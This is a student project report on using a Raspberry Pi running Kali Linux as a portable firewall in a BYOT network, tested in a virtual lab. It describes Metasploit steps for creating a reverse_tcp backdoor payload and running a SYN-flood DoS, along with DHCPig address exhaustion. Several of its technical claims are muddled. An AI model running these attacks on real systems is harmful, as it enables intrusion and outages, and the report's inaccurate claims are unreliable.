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[bookmark: _Toc513080532][bookmark: _Toc513115263]Abstract/Synopsis
In recent years the amount of companies and businesses, using BYOT infrastructure has been increasing rapidly. While this has led to increases productivity of users; it has also led to an increases of networking threats. In this report; a method of securing such a network is discussed.
In chapter 1 the aims and objectives of this project are discus, mainly about why the it was decided that a Raspberry Pi device was chosen to be used a portable external firewall. The objectives of this section stat that to complete this project a physical testbed will be created.
In section 2 the literature review of this report is contained, Bring Your Own Technology (BYOT) is disused; such as why it is a security threat and why we need firewalls. In this section of the report the related work is found, the author discusses about what inspired them to do this research. 
In section 3 the research methodologies the author chose to use are discussed, such as why they are using a positivism approach and looking for quantitative data. Information about the research onion the author used can also be found in this section.
In section 4 the Projects design can be found. This section also contains the screen shots of the implementation of the projects practical work. Contained in this section the problems that occurred during the implantation of the project is discussed.
In section 5 the testing and evaluation of three different experiments are conducted; the DHCPig stress test, Metasploitable DDoS and internet traffic observation. In this section the author explains how they conducted the experiments and the results they received.
In section 6 a summarization of the project so far is held, also the conclusion to the project as a hole can be found here. This is also where the author gives their recommendations about what could be done by someone who wants to continue this research further in the future.
In section 7 the author’s self-reflection on the successfulness of the project can be found, as the author was not able to do everything they wanted to do; they view their success on this project with a dim light and believe that this project is ultimately a failure. All images within this project will be shown in appendices.
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[bookmark: _Toc513080538][bookmark: _Toc513115268]Introduction
This Project aims to create a physical firewall device that could be used to secure a device on a network. Network security is one of the biggest issues for companies that use a BYOT (Bring Your Own Technology) network, this is a network structure that allows employees to bring their personal computing devices (Laptops, tablets etc.) to be used as work devices [1]. The following project report will explore the concept of using a Raspberry Pi [2] device, with a Linux based firewall software installed such as Kali Linux tm (Kali Linux tm is a trademark of Offensive Security[3]) as a portable security device for users to have an extra layer of security in a BYOT environment. To do this experiment the author will have to run network attacks on a physical testbed environment, to see if it is possible for a device, such as Raspberry Pi [2] can be used as a firewall. The author will be conducting this experiment using a positivism research methodology to collect quantitative data that can be used to analyse the effectiveness of the portable firewall. The expected outcome of this project, is that the data will show that the portable firewall is capable of protecting a device in a BYOT environment, but it is unable to be used as a permanent security device on a large-scale network. 
[bookmark: _Toc202288058][bookmark: _Ref202288793][bookmark: _Toc266447525][bookmark: _Toc371255529][bookmark: _Toc513080539][bookmark: _Toc513115269]Aim
The main aim of this Project is the development and design of an external portable firewall using Raspberry Pi [2] to secure a network that uses a BYOD network structure. 

[bookmark: _Toc266447526][bookmark: _Toc371255530][bookmark: _Toc513080540][bookmark: _Toc513115270]Objectives
The objectives of this project are:
· Providing a literature review that shows an understanding of both physical and software based firewalls.
· Creating a firewall using a Raspberry Pi[2] device.
· Making a Physical Testbed, and running network attacks in the test environment.
· Testing the physical testbed, the author will attempt to simulate multiple attacks on the testbed.

[bookmark: _Toc202288059][bookmark: _Toc266447527][bookmark: _Toc371255531][bookmark: _Toc513080541][bookmark: _Toc513115271]Structure Of The Project

The Structure of this project is in four parts, firstly the literature research on the subject of firewalls, these are already a main component in securing a network. This part of the project will be used to show the work already done in this field and to show how the authors work will differ from said work. The second part of this project will be the design and implementation of the experiment, this will involve the procurement of devices and the setup of the network; this part of the project will also have the conduction experiment and recording of the results. The third part of this project will be the analysis of the data gathered by the experiment, this will also be used to show the authors findings. This last part of the project will also be used on reflection on what the author could have done differently and to provide recommendations on how to conduct future tests. 

Chapter one is the theoretical work, this will be involving an overview of this project report, and a literature review on firewalls such as Network Layer Firewalls.

Chapter two will focus on the methodologies the user will be using to conduct this experiment and analysist the results of said experiments such as using the method of positivism.

Chapter three will document the design and implementation of the testbed experiments and about the data to author will be collecting.

Chapter four is learning to use Linux software and how to program Raspberry Pi[2]. This is a critical part of the project that allows the author to be able to physically test the project. The author is going to you Cisco Netacad [4] to learn Linux based software.

Chapter five is to create the physical testbed and running attacks on the network. As previously stated the author is planning to create a small network, this will involve procuring the hardware and software. The test the author is plaining to run are Denial of Service and Sniffer attacks, the goals of these tests are to prove the firewall device is capable of protecting a network.

[bookmark: _Toc121041584][bookmark: _Toc202288061]Chapter six is to provide a detailed analysist of the data generated by the testbed, this will involve providing a detailed overview of what the author did, and then showing the results. 

Chapter seven will focus on the conclusion of this project as a whole undertaking, this last part of the project will also contain any recommendations for further research and a reflection on what the author believes they could have done differently.
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0. [bookmark: _Toc371255534][bookmark: _Toc513080544][bookmark: _Toc513115273] Introduction
This project document has been written to provide a comprehensive understanding about network security, and how a firewall is used within a secure network. This document will be focused on a firewall that will be used in a BYOT network, the reason for this is that the project experiment is based on the concept of using a portable firewall device.

[bookmark: _Toc513080545][bookmark: _Toc513115274]What is BYOT
Bring Your Own Technology (BYOT) is a network policy that enables companies to allow their employees to bring their own devices (such as laptops and tablets) to uses as work devices [5]. Although BYOT provides access to services on a local network, it comes with inherent risks to security. An respectable example of this is that although a company’s network is secure, the devices that connect to it may not be .Thus showing that within a secure network prospective BYOT is a concern that a network using this policy will be unable to provide protection for the users privacy [6].  
There are a myriad of Advantages and disadvantages of BYOT such as it allows employees to take their work station around the company; for situations like needing to go to a staff meeting for instance. The following are examples of advantages and disadvantages: - 
· Cost – BYOT networks can reduce the initial costs of setting up a network, the reason for this is that such a network will require the employees to purchase and maintain any and all work devices; this can be seen as an advantage by a company that is attempting to reduce purchasing and maintenance costs.
· Infrastructure – every user of a BYOT network will have different tasted in smart technology devices, this means that for every user that is using an Android device, there will be a user with a Windows or Apple Based device. This is both an advantage and disadvantage to a company, as it allows them to create a more versatile network but it also increases maintenance time and cost.
· Employee Fulfilment – a study by Brian M. Gaff [7] “states that employees are more attuned with their personal devices and will therefore use them more efficiently”. If this statement is true then it is entirely reasonable to consider that this is an advantage of BYOT; as it will lead to more motivated and efficient workers.
· Security – with threats such as malware, theft, loss of device and human error; security is a massive disadvantage to BYOT. For instance, an attacker using mobile and device application to act as Trojans, would be able to gain access to a company’s network by simply walk in into the Wi-Fi range.

[bookmark: _Toc513080546][bookmark: _Toc513115275]what is a firewall
Network security is a necessary component of a multi-user information environment; such as a network[8]. One of the most common way to secure a network is to use a firewall. These are security components that are used to secure a network by monitoring and controlling the access to the specified network and its ports[9]. This is done by enforcing a set of rules about what data packets are allowed to enter for leave the network. Firewalls are also used to filter traffic and to lower the risk of malicious packets traveling over the network.


[bookmark: _Toc513080547][bookmark: _Toc513115276]Types of firewall

[bookmark: _Toc513080548][bookmark: _Toc513115277]Network layer firewall
A network layer firewall is the most common form of firewall, also called packet filtering; packet filtering is one of the most basic firewalls and is often used within other more advanced firewalls. The network layer firewall functions by individually checking each packet that enters and leaves a network against an established set of protocols and rules[10][11][12], such as:
· Internet protocol (IP), the method of data being sent between devices over the internet.
· Transmission Control Protocol (TCP), the standard that is used to define the establishment and maintenance of a network conversation.
· User Datagram Protocol (UDP), alternative method for the establishment and maintenance of a network conversation, used for low-latency and loss tolerating connections.
· Source and Destination IP addresses, packets dropped or accepted depending where they are going or coming from; for example all packets coming from 192.168.0.1 are dropped but all packets going to that address are accepted.
·  Ports, packets dropped depending on the port that packets are headed to, for example any packet that is going to port 21is dropped (port 21 is the FTP port for TCP and UDP).
· Destination of traffic, such as, blocking or accepting packets depending on if they are incoming or outgoing packets.
In the event that the packet does not meet the criteria set out by the packet filter then it will be dropped[13]. Other related work has shown that by using a packet filtering system in a WLAN, will decrease the delay and throughput of a network while increasing the security of the network. This decrease of delay on the network was shown to be caused by the filtering of unwanted packets[14]. Figure 1, shows an example of a network with a router that has been set up with a packet filter to act as a firewall.
[image: [Screening router diagram]]
[bookmark: _Toc513115315]Figure 1 Router set up with a packet filter [15]. 
 
[bookmark: _Toc513080549][bookmark: _Toc513115278]Circuit Level Gateway
Circuit level gateway firewalls are used to monitor the TCP handshake to determine if a session being initiated is legitimate and is the remote systems that can be considered trustworthy. This is not used to inspect packets, Circuit Level Gateways are used to impose security measures when a TCP connection is established[16].
Figure 2 shows a circuit level gateway functioning by verifying the legitimacy of the TCP handshake.

[image: http://cecs.wright.edu/~pmateti/InternetSecurity/Lectures/Firewalls/images/circuitGW.png]
[bookmark: _Toc513115316]Figure 2 Circuit level gateway [17].

[bookmark: _Toc513080550][bookmark: _Toc513115279]Stateful Firewalls 
Stateful firewalls keeps records of all connections that pass through it, this is done through the use of cache entries for each connection[18]; by doing this the firewall is able to determine if a packet is part of an existing connection, if it is the start of a new connection or if it is an invalid packet. The simplest example of a Stateful firewall is one that is utilizing TCP traffic, the reason for this is that TCP is already Stateful and keeps track of connections with the use of the source and destination addresses, IP flags and port numbers. It is possible for the Stateful firewall to secure UDP in a similar way, but unlike TCP UDP does not secure traffic, this meaning that the firewall inspects the packets itself.
Figure 3, shows a Stateful firewall denying access to an unauthorised user.
[image: https://infoproducts.alcatel-lucent.com/html/0_add-h-f/93-0267-HTML/7X50_Advanced_Configuration_Guide/images/AA-FW.51.1.1.jpg]
[bookmark: _Toc513115317]Figure 3 Stateful Firewall [19].

[bookmark: _Toc513080551][bookmark: _Toc513115280]Application Layer Firewall 
Application Layer firewalls, also known as proxy server, are systems that protect network resources, by the filtration of messages at the application layer; acting as an intermediary between two hosts. More complex than a packet filter, Application Layer firewalls filter application protocol and data to authenticate users and judge if the data poses a threat. The issue for this security is that the user must reconfigure the firewall or application to allow the traffic through[20][21].
There are a few advantages and disadvantages to using an application layer firewall, such as, the advantage of having a higher level of security by not having a direct connection between the client and host, and implementing additional security functions. These include the user authentication and end-to-end encryption, the disadvantages of this type of firewall such as slow speeds caused by inspecting each packet, making it impractical for real-time applications and the limited support for new applications[22]. Figure 4 below, shows the interaction between a client and server during a message exchange.
[image: https://infoproducts.alcatel-lucent.com/html/0_add-h-f/93-0267-HTML/7X50_Advanced_Configuration_Guide/images/AA-FW.51.1.3.jpg]
[bookmark: _Toc513115318]Figure 4 Application Layer gateway [19].

[bookmark: _Toc513080552][bookmark: _Toc513115281]Multilayer Firewalls

Multilayer firewalls are a combination of all the firewalls mentioned above, they are capable of filtering packets at the network layer, Application Layer and checking for legitimate sessions. Multilayer firewalls can be used with a transparent mode that allows direct connections between client and servers, protocol specific algorithms and security models can be implemented to provide a more secure connection and data transfer[23]. 
Figure 5, shows traffic being allowed access based on a range of session, packet filtering and application rules.
[image: Stateful Multilayer Inspection Firewall]
[bookmark: _Toc513115319]Figure 5 Multilayer Firewall[24].
[bookmark: _Toc513115282]Network Threat 
This section of the report will provide a quick and comprehensive overview of what threat will be used to test the network; the threat chosen to be used in this experiment, is a Distributed Denial of Service (DDoS) attack, which will be used to shut down the network, or at least attempt to.
DDoS attacks are created by an influx of incoming network traffic; targeting a victim from many different sources. This type of attack is effectively unstoppable as simply blocking an IP address will not stop it; unlike the other option of a simple Denial of service (DoS) attack where the flood of incoming traffic originates form a single source.
There are three types of DDoS attacks: -
· Traffic attacks – flooding a network with TCP, UDP and ICPM packets, causing the loss of legitimate requests. This type of attack can also be accompanied with a Malware package
· Bandwidth attacks – the goal for this type of attack is to greatly reduce a networks bandwidth to slow traffic; this is done by flooding the network with massive amounts of junk data. 
· Application attack – this method of attack targets the application layer messages, this is done to deplete the application layer resources and leaving the victim systems services unavailable.
It was decided that for this project, the attack used will be a Traffic DoS attack; the reason for this is that there are limited resources available for this project. This project will only have one attacker device making a DDoS attack impractical; but with the use of the Metasploitable software a DoS attack can be simulated on the network. 

[bookmark: _Toc513080553][bookmark: _Toc513115283]related Work

This section of the report provides a review on some of the related work on firewall technology. The work by Gupta N et al [25], presents a reasonable approach for the problem of expensive and complex firewall systems for IoT (Internet of Things) networks. The solution Gupta N et al offers is a cost-effective and open-source firewall that uses a Raspbarry Pi for a gateway. 
In their model they used a Raspbarry Pi as a firewall between the internet and a LAN network, and used IPtablets (a utility program within Linux kernel firewall) to enable IPv4 Masquerading and Spoof protection disabled ICMP redirects, TCP/IP cookies and connection tracking.  They decided to use a Motorola FOCUS66 to uses as a Remote smart device.
They found that after gaining a IP address from the DHCP server, the camera queried the cloud application for permission to start recording.  When recoding the camera and application automatically authenticated each other using challenge and response protocols. While their work is orientated in the protection of a network from external malicious intrusions, the author’s work focuses on the protection of an individual’s device from an unsecured device.
[image: ]
[bookmark: _Toc513115320]Figure 6 Numan Gupta et al's Architecture diagram [25]
Other research on firewall technology shows that businesses are outsourcing their firewalls to Cloud Providers, known as Software as a Service (SaaS). In the work of Guenane F et al [26], it is found that SaaS firewalls are being used to provide packet filtering and monitoring services in a virtualized environment. There are limitations for such firewalls, for example the problems found in the performance and reliability of this type of firewall. The work of Guenane F et al [26], it is presented that a hybrid architecture of both physical and virtual firewall should be used to provide a virtual machine that executes firewall programs; these have many functionality, while the physical firewall runs system monitoring and authentication programs. This work will be focusing on a physical architecture model only the physical device will be a Raspbarry Pi running Linux software to function as a firewall.

In work by Denis M et al [27], it describes methods for attacking and defending different devices. This work describes a method of hacking a remote access PC through IP and open ports, depicting that Telnet can be exploited because of the clear text of login information and commands. The author has decided to remote access the PC that the firewall device is connected too, this will allow the author to test the firewall against attacks originating from the network. In work by Maraj A et al [28], techniques for penetration testing for simulating DoS attacks on a network; their work shows that DoS attacks can be simulated by using TCP to overload a servers memory by having multiple hosts leaving a Hand shake authentication open, by not sending the SYN and ACK packets to the server, thus preventing the server from serving legitimate clients. This body of work also shows that UDP can be used to create DoS attacks by flooding a servers RAM with UDP packets to slow the server down, to run penetration testing; this can be demonstrated through the use of Kali Linux[3] and Wireshark[29].  

[bookmark: _Toc202288079][bookmark: _Toc266447547][bookmark: _Toc371255540][bookmark: _Toc513080554][bookmark: _Toc513115284][bookmark: _Toc202288080]Conclusion 
In conclusion, after discussing a selection of important topics relating to this project, it has been made clear that although there are many threats to a BYOT network; there is also a lot of work that has been put into creating technology to secure such a network. Each section of this chapter has been relevant to the problem at hand, it has been decided that based on the related work of Gupta N et al; the project will involve making a network layer firewall, to be used to secure a device on a network.  This will be done using Kali Linux as an OS on the Raspberry Pi, and using the Wireshark software to monitor network traffic.
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0. [bookmark: _Toc371255544][bookmark: _Toc513080558][bookmark: _Toc513115286]Introduction

This section of the report will provide an explanation of what is intended within the research methodology, philosophy, design and methods of data collection, this section of the report will also discuss why the chosen methods are applicable for this type of project. The methods used during a project are there to ensure that the work produced is of the highest quality that is achievable during the project, this report has generated secondary data through the researching of other work in the field, and this report will also produce primary date by recording data from the firewall experiment.

[bookmark: _Toc266447530][bookmark: _Toc371255545][bookmark: _Toc513080559][bookmark: _Toc513115287] Research Overview
The aims of this chapter are to deliver an overview of the research process the author used to propose the aim and objectives stated in the previous chapter. The method of research the author has chosen to use during the project is the “Research Onion” that was developed by Sanders.M. [30] To provide researchers with a comprehensive methodology for the process of completing projects. The research onion has 6 layers: -
1. Layer 1 Philosophical stances, the choice of philosophy effects the data collection and data analysis. The philosophies are Positivism, Realism, Interpretivism, objectivism, Constructivism and Pragmatism.
2. Layer 2 Approaches, there are 2 types of approaches are Deductive and Inductive, the choice of approach is heavily influenced by the choice of Philosophy.
3. Layer 3 Strategies, the research styles used during the project, also influenced by the fist layer choice. The strategies are Experimental, Survey, Case Study, Action Research, Grounded Theory, Ethnography and Archival Research.
4. Layer 4 Choices, this layer is used to decide what data the user plans to get out of the project, be it Quantitative, Qualitative or both.
5. Layer 5 Time horizons, this layer is used to consider the time frame the project has, be it Cross-sectional (short term time scale) or Longitudinal (long term time scale).
6. Layer 6 Techniques and Procedures, data collection and analysis.
An example of the Research Onion can be viewed in figure 6, it shows each layer of the Onion and provides examples of what needs to be considered on each stage of the project. There is a data flow diagram provided of the onion, figure 7, which shows what has been used during the project.
 
[image: ]
[bookmark: _Toc513115321]Figure 7 Research Onion[31].

[image: ]
[bookmark: _Toc513115322]Figure 8 Data flow diagram of the Research Onion.

[bookmark: _Toc266447531][bookmark: _Toc371255546][bookmark: _Toc513080560][bookmark: _Toc513115288]Research Process
The author has chosen to use a deductive approach [32], in regards to this project. This approach is aimed at testing theories, this includes the development of a hypothesis and designing a method to test it; the outcome, of which will confirm or be a modification of the hypothesis. As this project is deductive based the data will be gathered through the use of experimentation and observation, allowing the author to create their own quantitative data.
The analysis of the gathered data will involve repeating penetration tests to find corresponding and inconsistent data, this will enable the ability to generate the highly valid and reliable data. This data will be used to conform the theory of having a portable firewall device, or provide new information that alters the theory in significant way.
Experimentation is not the only way available for the collection of data, Secondary research has also been used; for example, multiple journals for gathering data on other research in this projects field.  Even though this data is available it will not be included in the projects data analysis for it is to be used as a guide of what others have done.
[bookmark: _Toc266447532][bookmark: _Toc371255547][bookmark: _Toc513080561][bookmark: _Toc513115289]Research Philosophy
[bookmark: _Toc266447533]The research of this project is being conducted through a deductive method, this type of method tends to provide large amounts of Quantitative data rather than Qualitative data. For this reason, the philosophy of this project is Quantitative, also as this is an experimentation project that uses the data generated to further the advancement of the project.  The majority of the data collected in this project will be from the implementation of the project, for example, the penetration test is successful, but the results provided where not expected. Some data is collected during the initial research faze, but this data is mostly about the results of experiments with different overall variables.
[bookmark: _Toc371255548][bookmark: _Toc513080562][bookmark: _Toc513115290]Research Methodologies
It would be fair to imply that this research has taken and applied the methodology of Case Study during the initial stages of the project. The data gathered from this is limited to general directions on how to conduct the project as a hole and provides data that can be used to compare against during the refection stage of the project. The main methodology of the project experimentation will prove a large quantity of data that will be used to investigate the possibility of fevering the research and possible expanding the parameters.
[bookmark: _Toc266447534][bookmark: _Toc371255549][bookmark: _Toc513080563][bookmark: _Toc513115291]Data Collection
[bookmark: _Ref167690968][bookmark: _Ref250508952][bookmark: _Toc266447130]As shown in Figure 7, a multiple method of data collection is used during the research of this project, this ranges from experimentation and observation to case studies. Table 1 shows the data collection methods, and demonstrates that methods of data collection where used in each chapter. 



[bookmark: _Toc340612784]Table 1: Data Collection Methods
	Component
	Research Approach

	Research and Review of Literature 
Chapter 2
	Archival Research – based on historical records and current public documents
Action Research – Reflecting upon findings and establishing understanding
Case study - literature review

	Design and Implementation
Chapter 4
	Experimental research – designing and implementing an experiment to test the authors theory 
Action Research – Reflecting upon findings and establishing understanding

	Testing and Evaluation 
Chapter 5
	Experimental research – conducting  experimentation based  on authors theory and  designs 
Action Research – Reflecting upon findings and establishing understanding



During this research project there have been a few methods of data collection show cased, as shown in Figure 1. 
The Archival research strategy realise on the collection of data that already exists and archives documents; this allows for the descriptive, exploratory and explanatory analysis of changes that can be followed over a long period of time. The problem with this type of research strategy is that it relies on secondary data, the accuracy of this data can be an issue as overtime new data can provide better insight, also the relevance of the data degrades overtime.
The Action research strategy is used to reflect upon the action and research already taken by the author, a classic definition of this strategy is the self-reflection of the work. Action research is used in this project to review what has been done, for the ends of understanding what needs to proceed next; for example, after evaluating the cost effectiveness of the project it was decided to do an experiment rather than a simulation. 
The case study strategy like archival research realises on the collection of already existing data, but is more focused on one or two individual cases in a real-life context to draw conclusions about the data in the cases study. In the project the author has used the case study strategy to draw conclusions about another project that had similar variables to this one, while the work by Gupta N et al focused on a Raspberry Pi [25] firewall the project was based on protecting a network from an external attacker, while this project focuses on protecting a single device from a compromised network.
The Experimental research strategy is a more rigid method of research, it is used to make the research replicate able. This allows the research to be challenged and duplicated to see if the results are the same, it also means that the experiment can have key variables changed quickly to do more in-depth research in the field. An example this would be changing the penetration tests to allow for a more varied amount of threats. This is the author’s main data collection strategy, and focuses on trying to gain control of a device through a penetration test on a network.
During this project data will be collected through the process of experimentation, regardless of the experiments results, they will provide new understanding about the author’s theory. It is expected that the project will provide multiple failure data, the reason for this is that failures will provide more data by having the experiment repeated with variables changed. 

[bookmark: _Toc266447539][bookmark: _Toc371255553][bookmark: _Toc513080564][bookmark: _Toc513115292]Conclusion
There are many different models that can be followed and implemented, the author while following the Research Onion figure 6, decided to fallow a simplified version shown in figure 7 Data Flow Diagram. This has allowed the author to do each section of the project, while also keeping the practical designs made for research methods.

[bookmark: _Toc341174544][bookmark: _Toc371255554][bookmark: _Toc513080565][bookmark: _Toc121041633][bookmark: _Toc202288167][bookmark: _Toc266447548][bookmark: _Toc513115293]Chapter 4 - DESIGN & IMPLEMENTATION

0. [bookmark: _Toc341174545][bookmark: _Toc371255555][bookmark: _Toc513080566][bookmark: _Toc513115294]Introduction

In this section of the report, the information provided is in relation of what the author has done; such as using Kali Linux to run DoS attacks, and the issues that occurred during the implementation stage of the project. Screenshots and photos will be provided as evidence and clarified, while also showing the data from the DoS test. This section of the repot will also provide details on what could have been done differently and what can be done to further the research acquired from this project.

[bookmark: _Toc371255556][bookmark: _Toc513080567][bookmark: _Toc513115295]problem formulation
This project is an investigation into the practicality of an external security device that is used to provide threat detection and protection. To do this the testbed will have to be made with the external device and run penetration tests in the environment.
[bookmark: _Toc513080568][bookmark: _Toc513115296]Physical testbed 
The physical testbed will consist of two PCs a switch and the external security device, this device will be a Raspberry Pi [2]. The diagram shown in figure 8 is a simple layout of the testbed, it displays the minimum amount of hardware required to do this experiment and that the firewall will not be included in the network, but as an interconnector between the protected PC and the network. The diagram was made using Cisco Packet Tracer  [33].
[image: ]
The Raspberry Pi [2] is a small computing device that can be used to do many things, it is possible to plug in a monitor, keyboard and mouse and start programming. In this project the will demonstrate how to install Kali Linux [3] on to a device and having it act as a firewall.
[bookmark: _Toc513115323]Figure 9 Testbed Diagram
[bookmark: _Toc513080569][bookmark: _Toc513115297]Software 
There is many different software required to do this project, such as: - 
· Kali Linux [3], this is a constantly evolving penetration testing Linux distribution. What this means is that this is an Operating System that is designed to be used to test the security of a network, it comes preinstalled with a myriad of tools that are designed to attack, snoop and record data from a network. The intention of this endeavour is to use these tools to run tests on their network and record data using them.
· Wireshark [29], this is a network protocol manager it lets a user have a real-time data of a network allowing them to know what is happening at all times. This software comes with live capture and offline analysis of data, meaning that it can be used to analysis that data it has generates. This has make Wireshark [34] a de facto industry standard and it is also why the author choses to use this software.
· DHCPig [35] is one of the Stress testing tools provided in Kali Linux [3], this tool is used to create a denial of service attack scenario and is the authors main method of testing their projects capabilities.
· Metasploitable [36] is a VM that is used for testing and demonstrating common network vulnerabilities, this software’s interfaces are bound to the NAT and Host network adapters. Metasploitable is a command line program that allows the user to create their own malware and run attacks on a network. The programming language Metasploitable uses is Ruby [37] an open source programming language.
· Sparta is a python based GUI application that is used to simplify penetration testing of a networks infrastructure. It allows the user to have a point and click access to their tool kit, allowing less time spent on setup and more time for result analysis.
· Firefox is a web browser that is preinstalled on Kali Linux.

[bookmark: _Toc371255558][bookmark: _Toc513080570][bookmark: _Toc513115298]Implementation problems
During the implementation stage of this project, it was discovered that creating a physical testbed environment was not cost effective for the limited time frame that was available to them. This problem was rectified by using a simulation test environment instead, to do this a application called  Oracle VM VirtualBox [38] had to be used. This software is a cross-platform Virtualization environment, this allowed the setup of a VM version of the experiment by creating a VM network using:  
· Victim PC running a Windows 10 ios, this VM will be on the receiving end of all the attacks during the experiment.
· Firewall device running Kali Linux ios, the roll of this device is to use Wireshark to record all network traffic, later in the experiment this device will be connected to the internet to view the amount of traffic that is generated.
· Attacker PC running Kali Linux ios 

[bookmark: _Toc513080571][bookmark: _Toc513115299]Implementation
As previously stated the author will use Kali Linux tools and software in conjunction with the Wireshark software, to run penetration and stress testing on the testbed. The goal of this is to have the Raspberry Pi device act as a firewall device and detect packets from the network. DHCPig will be used to DoS the PC connected to the Raspberry Pi firewall, this will be done by consuming all IPs on the LAN and stopping new users from Getting IP addresses.



[bookmark: _Toc513080572][bookmark: _Toc513115300]Simulation Setup

[image: ]
[bookmark: _Toc513115324]Figure 10 Window 10 ios Installation
In figure 9 the installation of the Windows 10 ios is shown, this part of the setup takes the longest amount of time due to the need to download all the ios from the internet. During the installation of Windows 10 the installation of the Karli Linux ios on two VMs took place as shown below in figure 10.
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[bookmark: _Toc513115325]Figure 11 finished installation of Kali Linux

[image: ]
[bookmark: _Toc513115326]Figure 12 Testing the Networks Connectivity between the Kali Linux VMs
[image: ]
[bookmark: _Toc513115327]Figure 13 Testing Connectivity between the Victim PC and firewall
After setting up a network it is important to test the connectivity of the devices connected, in figures 11 and 12 it is shown that the firewall device can be pinged by both the attacker and victim PCs. This is an important step of the installation for it shows that the testbed is ready to be used, and that any traffic on the network will reach the desired destination.
[image: ]
[bookmark: _Toc513115328]Figure 14 Sparta being used
[image: ]
[bookmark: _Toc513115329]Figure 15 Sparta's network activity

Figure 13 shows the program Sparta being used on the attacker PC to penetration test the network, it does this by running Nmap commands in cmd, this sends out DHCP discover packets onto the network to find the IP addresses that are connected to the network. Figure 14 is taken from the firewall device and shows the recording of the network activity caused by the Sparta program.
[image: ]
[bookmark: _Toc513115330]Figure 16 Metasploitable
To access metasploitable go on to the command prompt (cmd) on Kali Linux and use the syntax msfconsole. This will load the Metasploit program, figure 15 shows one of the confirmation screens that are shown when opening.  

[image: ]
[bookmark: _Toc513115331]Figure 17 Creating a Payload
In figure 15 shows the creation a malware payload that will provide a back door into a device, the command LHOST must be set with the IP address of the machine the users are making it on and not the machine that is going to attack. When creating the payload, the user will be provided with information on the size of the payload and the file, its shown in figure 15 that the size of the file is 73802 bytes while the payload is 333 bytes.

[image: ]
[bookmark: _Toc513115332]Figure 18 Incorrectly Creating a Payload

Figure 16 shows what happens if the payload is made without the file type commands, the payload is made but it has nowhere to be stored and courses the error shown in figure 16.


[image: ]
[bookmark: _Toc513115333]Figure 19 Running the malware
Figure 18 shows the malware being set up to run, the command use exploit/multi/handler must be used to allow the malware to be used outside the Metasploitable framework. The payload has to be set to allow different shell connections, the example shown in figure 18 is of a reverse_tcp command to allow the attack to bypass any firewall without being detected and removed.
[bookmark: _Toc513080573][bookmark: _Toc513115301]Problems that occurred during implementation 
The following segment of this project will talk about the errors that occurred when setting up the tests of this experiment.

[image: ]
[bookmark: _Toc513115334]Figure 20 Metasploitable not opening
During the setup of the experiment it was discovered that the Attack VM was not able to open the Metasploit program, and was given the Kernel Panic: Attempted to Kill the idle task! Error. To fix this problem the author had to increase the disk space allotted to the Attacker machine to allow the uses of the penetration testing software.

[image: ]
[bookmark: _Toc513115335]Figure 21 IP address is Garbage
When the attempting to use the firewall device as a network bridge, between the two PC devices a error occurred (either “to” is duplicate, or “192.168.2.7” is garbage) as shown in figure 20. This error was caused be the Kali Linux ios not having the protocol for networking installed, so to rectify this program the protocol had to be updated form online source.
[image: ]
[bookmark: _Toc513115336]Figure 22 Installing the Protocol Update
As previously stated the error in figure 20 was caused by needing a protocol update, the problem with this is that it led to the problem of not being able to update the protocol as shown in figure 21. The problem was the update was not being downloaded from the internet, and was being blocked by the University’s firewall proxy settings. To get around this the proxy settings on the VMs network had to be set to allow the passage of data through the University’s network.

[bookmark: _Toc371255560][bookmark: _Toc513080574][bookmark: _Toc341174561][bookmark: _Toc513115302]Chapter 5 – Testing and Evaluation  
In this section of the report, the testing of the network will take place and an analysis of the data that was produced will be made. There are three tests in this section of the report, the first one is using DHCPig to stress test the network, and the second is to use Metasploit to run a DOS attack with the hopes of crashing the network. The third and last test is simply recording the network traffic generated by giving the firewall device internet access, the reason for this test is that the VM has to connect to the University network to gain internet access.
[bookmark: _Toc513080575][bookmark: _Toc513115303]Dhcpig Stress test 
For this experiment the author will be using DHCPig to flood the network with DHCP and ARP packets in an attempt to shut the network down.
[image: ]
[bookmark: _Toc513115337]Figure 23 Using DHCPig
To run a stress test using DHCPig is quite simple, to do it the exhaustion script pig.py eh0 was used to exhaust all the available DHCP addresses available on the network. Figure 22 shows the command line script in action by flooding the network with DHCP Discover packets, this stops new users getting IP addresses on the network.

[image: ]
[bookmark: _Toc513115338]Figure 24 Network Traffic during Stress test
Figure 23 shows some of the recorded data from the DHCPig stress test, it indicates that both the Attack PC where the DHCP packets originated from and the victim PC where both sending out Request and replay packets out in response to the discover packets.

[image: ]
[bookmark: _Toc513115339]Figure 25 DHCPig using ARP Protocol
In figure 24 it can be seen that the Attack PC is sending out ARP requests out on to the network, using Wireshark the destination and source of the ARP packets can be seen, as highlighted in figure 24.
[image: ]
[bookmark: _Toc513115340]Figure 26 DHCPig IO graph 1
[image: ]
[bookmark: _Toc513115341]Figure 27 DHCPig IO graph 2
Wireshark is not only used to record data it is a tool for analysis as well, for example figures 25 and 26 are IO graphs made using the traffic data from the DHCPig stress test. The data shown in the figure 25 graph is Packets per 1 sec over time, while figure 26 graph is packets per 10 sec over time, this provided an understanding about the amount of traffic generated during the cause of the test. 
The DHCPig experiment while failing to shut the network down, provided information about how much traffic the small network could handle, the variables that were used for this experiment where all packets on the network. The results of the test show a constant traffic on the network with two large anomalies at the end of the test, after repeating the test as shown in figure 26 the author came to the conclusion that the traffic Spikes are the ARP packets being sent over the network. 



[bookmark: _Toc513080576][bookmark: _Toc513115304]Metasploit DoS
In this experiment the author will attempt to use Metasploit to run a DoS attack against the network.
[image: ]
[bookmark: _Toc513115342]Figure 28 DoS Set up
Figure 27 shows the set up required for running a DoS attack using Metasploit, it can be seen that first the user must get in to the Auxiliary tools of the CMD by using the syntax use auxiliary/dos/tcp/synflood. This puts the user into auxiliary tools module, from here the user need to set the recipient host and the targeted port, to see the available options in the module use the syntax > show options this will provide the user with a list and description of the option.  It is shown in figure 27 that the syntax used for setting a target are > set RHOST followed by target IP address, >set RPORT followed by port number.

[image: ]
[bookmark: _Toc513115343]Figure 29 The Initiation of the DoS
After setting up the DoS and selecting a target as shown in figures 26 and 27, the attack is ready to launch by simply using the syntax > exploit. Figure 28 shows the running of the DoS attack on the network targeting the victim PCs IP address targeting the port 22 a known TCP vulnerability.

[image: ]
[bookmark: _Toc513115344]Figure 30 DoS test 1 Recording
When the author launched the DoS attack, unsurprisingly the network was flooded with TCP and ARP packets, it can be seen in figure 29 that the spoofed its own IP address of 210.233.156.127 which is an address that should not have been on the 192.168.1.0 /24 network. By sending request and acknowledgment packets form a random IP address the networks traffic was gummed up and slowed to a hault.

[image: ]
[bookmark: _Toc513115345]Figure 31 DoS IO graph 1
